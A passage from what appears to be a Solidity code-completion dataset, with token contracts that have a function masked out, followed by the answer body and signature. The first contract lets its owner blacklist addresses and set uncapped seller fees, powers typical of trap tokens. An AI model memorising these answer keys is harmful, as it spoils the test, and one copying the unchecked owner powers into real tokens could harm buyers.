rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } <FILL_FUNCTION> function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing);
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256)
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256)
80421
TheUniverse
transfer
contract TheUniverse is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "TheUniverse"; symbol = "THU"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract TheUniverse is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "TheUniverse"; symbol = "THU"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true;
function transfer(address to, uint tokens) public returns (bool success)
function transfer(address to, uint tokens) public returns (bool success)
17539
MintableTokenExt
setReservedTokensList
contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; bool isVested; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool private reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if (!mintAgents[msg.sender]) { revert(); } _; } /** Make sure we are not done yet. */ modifier canMint() { if (mintingFinished) revert(); _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public view returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public view returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public view returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public view returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public view returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function getReservedIsVested(address addr) public view returns (bool isVested) { return reservedTokensList[addr].isVested; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals, bool[] isVested ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList( addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator], isVested[iterator] ); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) public onlyMintAgent canMint { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event emit Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) public onlyOwner canMint { mintAgents[addr] = state; emit MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals,bool isVested) private canMint onlyOwner {<FILL_FUNCTION_BODY> } }
contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; bool isVested; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool private reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if (!mintAgents[msg.sender]) { revert(); } _; } /** Make sure we are not done yet. */ modifier canMint() { if (mintingFinished) revert(); _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public view returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public view returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public view returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public view returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public view returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function getReservedIsVested(address addr) public view returns (bool isVested) { return reservedTokensList[addr].isVested; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals, bool[] isVested ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList( addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator], isVested[iterator] ); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) public onlyMintAgent canMint { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event emit Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) public onlyOwner canMint { mintAgents[addr] = state; emit MintingAgentChanged(addr, state); } <FILL_FUNCTION> }
assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false, isVested:isVested });
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals,bool isVested) private canMint onlyOwner
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals,bool isVested) private canMint onlyOwner